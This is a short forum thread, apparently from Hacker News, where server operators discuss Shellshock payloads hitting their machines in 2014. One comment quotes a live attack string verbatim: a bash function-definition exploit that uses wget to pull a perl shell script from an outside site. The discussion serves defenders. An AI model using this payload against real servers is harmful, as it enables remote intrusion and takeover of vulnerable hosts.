3 ms·
The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of
by preston4tw 12y ago
The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
- ktsmith 12y agoYeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established: Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22 That site is still up and serving right now if anyone wants to take a look.
- jonknee 12y agoSame attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away: http://pastebin.com/UdJZqUyV http://pastebin.com/UdJZqUyV